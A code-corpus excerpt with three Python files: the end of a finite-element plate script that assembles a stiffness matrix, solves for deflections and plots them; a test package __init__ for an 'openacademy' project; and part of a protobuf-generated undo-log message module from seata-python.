Ac2*c2*(a2*(E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)) - b2*(E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)))/(16*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i2*dof+3, i4*dof+4] += Ac2*d2*(a2*(E45*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E55*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)) - b2*(E44*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - E45*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2)))/(16*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i2*dof+4, i1*dof+2] += ((E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) - (E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(8*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+4, i1*dof+3] += (Ac1 + Ac2)*(E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i2*dof+4, i1*dof+4] += (Ac1 + Ac2)*(E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i2*dof+4, i2*dof+2] += ((E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))*(Ac1*Ae2*d1 + Ac2*Ae1*d2) - (E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+4, i2*dof+3] += ((E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) - (E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(16*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+4, i2*dof+4] += ((E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - (E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(16*(Ac*Ac)*(Ae1*Ae1)*(Ae2*Ae2)) k0[i2*dof+4, i3*dof+2] += Ac1*(a1*(E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)) - b1*(E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i2*dof+4, i3*dof+3] += Ac1*c1*(a1*(E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)) - b1*(E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)))/(16*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i2*dof+4, i3*dof+4] += Ac1*d1*(a1*(E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)) - b1*(E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)))/(16*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i2*dof+4, i4*dof+2] += Ac2*(a2*(E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)) - b2*(E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i2*dof+4, i4*dof+3] += Ac2*c2*(a2*(E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)) - b2*(E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)))/(16*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i2*dof+4, i4*dof+4] += Ac2*d2*(a2*(E45*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E55*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)) - b2*(E44*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) - E45*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2)))/(16*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i3*dof+2, i1*dof+2] += Ac1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) + (E45*b1 - E55*a1)*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(4*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+2, i1*dof+3] += -Ac1*(Ac1 + Ac2)*(E44*b1 - E45*a1)/(4*(Ac*Ac)*Ae1) k0[i3*dof+2, i1*dof+4] += -Ac1*(Ac1 + Ac2)*(E45*b1 - E55*a1)/(4*(Ac*Ac)*Ae1) k0[i3*dof+2, i2*dof+2] += Ac1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*d1 + Ac2*Ae1*d2) + (E45*b1 - E55*a1)*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(4*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+2, i2*dof+3] += Ac1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) + (E45*b1 - E55*a1)*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+2, i2*dof+4] += Ac1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) + (E45*b1 - E55*a1)*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+2, i3*dof+2] += (Ac1*Ac1)*(-a1*(E45*b1 - E55*a1) + b1*(E44*b1 - E45*a1))/(4*(Ac*Ac)*(Ae1*Ae1)) k0[i3*dof+2, i3*dof+3] += (Ac1*Ac1)*c1*(-a1*(E45*b1 - E55*a1) + b1*(E44*b1 - E45*a1))/(8*(Ac*Ac)*(Ae1*Ae1)) k0[i3*dof+2, i3*dof+4] += (Ac1*Ac1)*d1*(-a1*(E45*b1 - E55*a1) + b1*(E44*b1 - E45*a1))/(8*(Ac*Ac)*(Ae1*Ae1)) k0[i3*dof+2, i4*dof+2] += Ac1*Ac2*(-a2*(E45*b1 - E55*a1) + b2*(E44*b1 - E45*a1))/(4*(Ac*Ac)*Ae1*Ae2) k0[i3*dof+2, i4*dof+3] += Ac1*Ac2*c2*(-a2*(E45*b1 - E55*a1) + b2*(E44*b1 - E45*a1))/(8*(Ac*Ac)*Ae1*Ae2) k0[i3*dof+2, i4*dof+4] += Ac1*Ac2*d2*(-a2*(E45*b1 - E55*a1) + b2*(E44*b1 - E45*a1))/(8*(Ac*Ac)*Ae1*Ae2) k0[i3*dof+3, i1*dof+2] += Ac1*c1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) + (E45*b1 - E55*a1)*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+3, i1*dof+3] += -Ac1*c1*(Ac1 + Ac2)*(E44*b1 - E45*a1)/(8*(Ac*Ac)*Ae1) k0[i3*dof+3, i1*dof+4] += -Ac1*c1*(Ac1 + Ac2)*(E45*b1 - E55*a1)/(8*(Ac*Ac)*Ae1) k0[i3*dof+3, i2*dof+2] += Ac1*c1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*d1 + Ac2*Ae1*d2) + (E45*b1 - E55*a1)*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+3, i2*dof+3] += Ac1*c1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) + (E45*b1 - E55*a1)*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(16*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+3, i2*dof+4] += Ac1*c1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) + (E45*b1 - E55*a1)*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(16*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+3, i3*dof+2] += (Ac1*Ac1)*c1*(-a1*(E45*b1 - E55*a1) + b1*(E44*b1 - E45*a1))/(8*(Ac*Ac)*(Ae1*Ae1)) k0[i3*dof+3, i3*dof+3] += (Ac1*Ac1)*(c1*c1)*(-a1*(E45*b1 - E55*a1) + b1*(E44*b1 - E45*a1))/(16*(Ac*Ac)*(Ae1*Ae1)) k0[i3*dof+3, i3*dof+4] += (Ac1*Ac1)*c1*d1*(-a1*(E45*b1 - E55*a1) + b1*(E44*b1 - E45*a1))/(16*(Ac*Ac)*(Ae1*Ae1)) k0[i3*dof+3, i4*dof+2] += Ac1*Ac2*c1*(-a2*(E45*b1 - E55*a1) + b2*(E44*b1 - E45*a1))/(8*(Ac*Ac)*Ae1*Ae2) k0[i3*dof+3, i4*dof+3] += Ac1*Ac2*c1*c2*(-a2*(E45*b1 - E55*a1) + b2*(E44*b1 - E45*a1))/(16*(Ac*Ac)*Ae1*Ae2) k0[i3*dof+3, i4*dof+4] += Ac1*Ac2*c1*d2*(-a2*(E45*b1 - E55*a1) + b2*(E44*b1 - E45*a1))/(16*(Ac*Ac)*Ae1*Ae2) k0[i3*dof+4, i1*dof+2] += Ac1*d1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) + (E45*b1 - E55*a1)*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+4, i1*dof+3] += -Ac1*d1*(Ac1 + Ac2)*(E44*b1 - E45*a1)/(8*(Ac*Ac)*Ae1) k0[i3*dof+4, i1*dof+4] += -Ac1*d1*(Ac1 + Ac2)*(E45*b1 - E55*a1)/(8*(Ac*Ac)*Ae1) k0[i3*dof+4, i2*dof+2] += Ac1*d1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*d1 + Ac2*Ae1*d2) + (E45*b1 - E55*a1)*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(8*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+4, i2*dof+3] += Ac1*d1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) + (E45*b1 - E55*a1)*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(16*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+4, i2*dof+4] += Ac1*d1*(-(E44*b1 - E45*a1)*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) + (E45*b1 - E55*a1)*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(16*(Ac*Ac)*(Ae1*Ae1)*Ae2) k0[i3*dof+4, i3*dof+2] += (Ac1*Ac1)*d1*(-a1*(E45*b1 - E55*a1) + b1*(E44*b1 - E45*a1))/(8*(Ac*Ac)*(Ae1*Ae1)) k0[i3*dof+4, i3*dof+3] += (Ac1*Ac1)*c1*d1*(-a1*(E45*b1 - E55*a1) + b1*(E44*b1 - E45*a1))/(16*(Ac*Ac)*(Ae1*Ae1)) k0[i3*dof+4, i3*dof+4] += (Ac1*Ac1)*(d1*d1)*(-a1*(E45*b1 - E55*a1) + b1*(E44*b1 - E45*a1))/(16*(Ac*Ac)*(Ae1*Ae1)) k0[i3*dof+4, i4*dof+2] += Ac1*Ac2*d1*(-a2*(E45*b1 - E55*a1) + b2*(E44*b1 - E45*a1))/(8*(Ac*Ac)*Ae1*Ae2) k0[i3*dof+4, i4*dof+3] += Ac1*Ac2*c2*d1*(-a2*(E45*b1 - E55*a1) + b2*(E44*b1 - E45*a1))/(16*(Ac*Ac)*Ae1*Ae2) k0[i3*dof+4, i4*dof+4] += Ac1*Ac2*d1*d2*(-a2*(E45*b1 - E55*a1) + b2*(E44*b1 - E45*a1))/(16*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+2, i1*dof+2] += Ac2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) + (E45*b2 - E55*a2)*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(4*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+2, i1*dof+3] += -Ac2*(Ac1 + Ac2)*(E44*b2 - E45*a2)/(4*(Ac*Ac)*Ae2) k0[i4*dof+2, i1*dof+4] += -Ac2*(Ac1 + Ac2)*(E45*b2 - E55*a2)/(4*(Ac*Ac)*Ae2) k0[i4*dof+2, i2*dof+2] += Ac2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*d1 + Ac2*Ae1*d2) + (E45*b2 - E55*a2)*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(4*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+2, i2*dof+3] += Ac2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) + (E45*b2 - E55*a2)*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+2, i2*dof+4] += Ac2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) + (E45*b2 - E55*a2)*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+2, i3*dof+2] += Ac1*Ac2*(-a1*(E45*b2 - E55*a2) + b1*(E44*b2 - E45*a2))/(4*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+2, i3*dof+3] += Ac1*Ac2*c1*(-a1*(E45*b2 - E55*a2) + b1*(E44*b2 - E45*a2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+2, i3*dof+4] += Ac1*Ac2*d1*(-a1*(E45*b2 - E55*a2) + b1*(E44*b2 - E45*a2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+2, i4*dof+2] += (Ac2*Ac2)*(-a2*(E45*b2 - E55*a2) + b2*(E44*b2 - E45*a2))/(4*(Ac*Ac)*(Ae2*Ae2)) k0[i4*dof+2, i4*dof+3] += (Ac2*Ac2)*c2*(-a2*(E45*b2 - E55*a2) + b2*(E44*b2 - E45*a2))/(8*(Ac*Ac)*(Ae2*Ae2)) k0[i4*dof+2, i4*dof+4] += (Ac2*Ac2)*d2*(-a2*(E45*b2 - E55*a2) + b2*(E44*b2 - E45*a2))/(8*(Ac*Ac)*(Ae2*Ae2)) k0[i4*dof+3, i1*dof+2] += Ac2*c2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) + (E45*b2 - E55*a2)*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+3, i1*dof+3] += -Ac2*c2*(Ac1 + Ac2)*(E44*b2 - E45*a2)/(8*(Ac*Ac)*Ae2) k0[i4*dof+3, i1*dof+4] += -Ac2*c2*(Ac1 + Ac2)*(E45*b2 - E55*a2)/(8*(Ac*Ac)*Ae2) k0[i4*dof+3, i2*dof+2] += Ac2*c2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*d1 + Ac2*Ae1*d2) + (E45*b2 - E55*a2)*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+3, i2*dof+3] += Ac2*c2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) + (E45*b2 - E55*a2)*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(16*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+3, i2*dof+4] += Ac2*c2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) + (E45*b2 - E55*a2)*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(16*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+3, i3*dof+2] += Ac1*Ac2*c2*(-a1*(E45*b2 - E55*a2) + b1*(E44*b2 - E45*a2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+3, i3*dof+3] += Ac1*Ac2*c1*c2*(-a1*(E45*b2 - E55*a2) + b1*(E44*b2 - E45*a2))/(16*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+3, i3*dof+4] += Ac1*Ac2*c2*d1*(-a1*(E45*b2 - E55*a2) + b1*(E44*b2 - E45*a2))/(16*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+3, i4*dof+2] += (Ac2*Ac2)*c2*(-a2*(E45*b2 - E55*a2) + b2*(E44*b2 - E45*a2))/(8*(Ac*Ac)*(Ae2*Ae2)) k0[i4*dof+3, i4*dof+3] += (Ac2*Ac2)*(c2*c2)*(-a2*(E45*b2 - E55*a2) + b2*(E44*b2 - E45*a2))/(16*(Ac*Ac)*(Ae2*Ae2)) k0[i4*dof+3, i4*dof+4] += (Ac2*Ac2)*c2*d2*(-a2*(E45*b2 - E55*a2) + b2*(E44*b2 - E45*a2))/(16*(Ac*Ac)*(Ae2*Ae2)) k0[i4*dof+4, i1*dof+2] += Ac2*d2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*(b1 - d1) + Ac2*Ae1*(b2 - d2)) + (E45*b2 - E55*a2)*(Ac1*Ae2*(a1 - c1) + Ac2*Ae1*(a2 - c2)))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+4, i1*dof+3] += -Ac2*d2*(Ac1 + Ac2)*(E44*b2 - E45*a2)/(8*(Ac*Ac)*Ae2) k0[i4*dof+4, i1*dof+4] += -Ac2*d2*(Ac1 + Ac2)*(E45*b2 - E55*a2)/(8*(Ac*Ac)*Ae2) k0[i4*dof+4, i2*dof+2] += Ac2*d2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*d1 + Ac2*Ae1*d2) + (E45*b2 - E55*a2)*(Ac1*Ae2*c1 + Ac2*Ae1*c2))/(8*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+4, i2*dof+3] += Ac2*d2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*a1*d1 + Ac2*Ae1*a2*d2) + (E45*b2 - E55*a2)*(Ac1*Ae2*a1*c1 + Ac2*Ae1*a2*c2))/(16*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+4, i2*dof+4] += Ac2*d2*(-(E44*b2 - E45*a2)*(Ac1*Ae2*b1*d1 + Ac2*Ae1*b2*d2) + (E45*b2 - E55*a2)*(Ac1*Ae2*b1*c1 + Ac2*Ae1*b2*c2))/(16*(Ac*Ac)*Ae1*(Ae2*Ae2)) k0[i4*dof+4, i3*dof+2] += Ac1*Ac2*d2*(-a1*(E45*b2 - E55*a2) + b1*(E44*b2 - E45*a2))/(8*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+4, i3*dof+3] += Ac1*Ac2*c1*d2*(-a1*(E45*b2 - E55*a2) + b1*(E44*b2 - E45*a2))/(16*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+4, i3*dof+4] += Ac1*Ac2*d1*d2*(-a1*(E45*b2 - E55*a2) + b1*(E44*b2 - E45*a2))/(16*(Ac*Ac)*Ae1*Ae2) k0[i4*dof+4, i4*dof+2] += (Ac2*Ac2)*d2*(-a2*(E45*b2 - E55*a2) + b2*(E44*b2 - E45*a2))/(8*(Ac*Ac)*(Ae2*Ae2)) k0[i4*dof+4, i4*dof+3] += (Ac2*Ac2)*c2*d2*(-a2*(E45*b2 - E55*a2) + b2*(E44*b2 - E45*a2))/(16*(Ac*Ac)*(Ae2*Ae2)) k0[i4*dof+4, i4*dof+4] += (Ac2*Ac2)*(d2*d2)*(-a2*(E45*b2 - E55*a2) + b2*(E44*b2 - E45*a2))/(16*(Ac*Ac)*(Ae2*Ae2)) print('Atotal:', Atotal) puvw = 2 # force vector fext = np.zeros(n*dof, dtype=np.float64) fext[nodes[3].index*dof + puvw] = 500. fext[nodes[7].index*dof + puvw] = 1000. fext[nodes[11].index*dof + puvw] = 1000. fext[nodes[15].index*dof + puvw] = 500. #k0[i<j] = k0[i>j] i, j = np.indices(k0.shape) print('is_symmetric:', np.allclose(k0[i>j], k0[i<j])) print('is_symmetric:', k0[i>j].sum(), k0[i<j].sum()) test = is_symmetric(coo_matrix(k0)) print('is_symmetric:', test) # boundary conditions for i in [0, 4, 8, 12]: for j in [0, 1, 2]: k0[nodes[i].index*dof+j, :] = 0 k0[:, nodes[i].index*dof+j] = 0 k0 = coo_matrix(k0) u = solve(k0, fext, silent=True) xcord = np.array([node.pos[0] for node in nodes]) ycord = np.array([node.pos[1] for node in nodes]) wmin = u[puvw::dof].min() wmax = u[puvw::dof].max() levels = np.linspace(wmin, wmax, 400) print(u[puvw::dof].reshape(4, 4)) plt.contourf(xcord.reshape(4, 4), ycord.reshape(4, 4), u[puvw::dof].reshape(4, 4), levels=levels) plt.savefig('plot_edge_based_smoothing_domain.png', bbox_inches='tight')

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95633be6a046a2ae5e44ff7382d7b3f5e948374c

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py

Python

openacademy/tests/__init__.py

mapuerta/openacademy-proyect

31c7f48f735eb64bd4908ef5194977b05f04383c

[ "Apache-2.0" ]

null

openacademy/tests/__init__.py

mapuerta/openacademy-proyect

31c7f48f735eb64bd4908ef5194977b05f04383c

[ "Apache-2.0" ]

null

openacademy/tests/__init__.py

mapuerta/openacademy-proyect

31c7f48f735eb64bd4908ef5194977b05f04383c

[ "Apache-2.0" ]

null

from . import test_global_openacademy_course from . import test_global_openacademy_session

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py

Python

seata/rm/datasource/undo/parser/proto/branch_undolog_pb2.py

opentrx/seata-python

66fb3382217a43effa3d1bc5ec2b62204d499dba

[ "Apache-2.0" ]

8

2021-09-09T06:28:08.000Z

2022-03-06T04:58:40.000Z

seata/rm/datasource/undo/parser/proto/branch_undolog_pb2.py

opentrx/seata-python

66fb3382217a43effa3d1bc5ec2b62204d499dba

[ "Apache-2.0" ]

null

seata/rm/datasource/undo/parser/proto/branch_undolog_pb2.py

opentrx/seata-python

66fb3382217a43effa3d1bc5ec2b62204d499dba

[ "Apache-2.0" ]

4

2021-08-23T07:44:27.000Z

2022-02-11T08:42:54.000Z

# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: branch_undolog.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.protobuf import any_pb2 as google_dot_protobuf_dot_any__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='branch_undolog.proto', package='seata.rm.datasource.undo.parser.proto', syntax='proto3', serialized_options=None, create_key=_descriptor._internal_create_key, serialized_pb=b'\n\x14\x62ranch_undolog.proto\x12%seata.rm.datasource.undo.parser.proto\x1a\x19google/protobuf/any.proto\"\x99\x01\n\rBranchUndoLog\x12\x10\n\x03xid\x18\x01 \x01(\tH\x00\x88\x01\x01\x12\x16\n\tbranch_id\x18\x02 \x01(\x03H\x01\x88\x01\x01\x12H\n\rsql_undo_logs\x18\x03 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_descriptor.Descriptor( name='BranchUndoLog', full_name='seata.rm.datasource.undo.parser.proto.BranchUndoLog', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='xid', full_name='seata.rm.datasource.undo.parser.proto.BranchUndoLog.xid', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='branch_id', full_name='seata.rm.datasource.undo.parser.proto.BranchUndoLog.branch_id', index=1, number=2, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sql_undo_logs', full_name='seata.rm.datasource.undo.parser.proto.BranchUndoLog.sql_undo_logs', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='_xid', full_name='seata.rm.datasource.undo.parser.proto.BranchUndoLog._xid', index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_branch_id', full_name='seata.rm.datasource.undo.parser.proto.BranchUndoLog._branch_id', index=1, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), ], serialized_start=91, serialized_end=244, ) _SQLUNDOLOG = _descriptor.Descriptor( name='SQLUndoLog', full_name='seata.rm.datasource.undo.parser.proto.SQLUndoLog', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='sql_type', full_name='seata.rm.datasource.undo.parser.proto.SQLUndoLog.sql_type', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='table_name', full_name='seata.rm.datasource.undo.parser.proto.SQLUndoLog.table_name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='before_image', full_name='seata.rm.datasource.undo.parser.proto.SQLUndoLog.before_image', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='after_image', full_name='seata.rm.datasource.undo.parser.proto.SQLUndoLog.after_image', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=247, serialized_end=446, ) _TABLERECORDS = _descriptor.Descriptor( name='TableRecords', full_name='seata.rm.datasource.undo.parser.proto.TableRecords', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='table_meta', full_name='seata.rm.datasource.undo.parser.proto.TableRecords.table_meta', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, 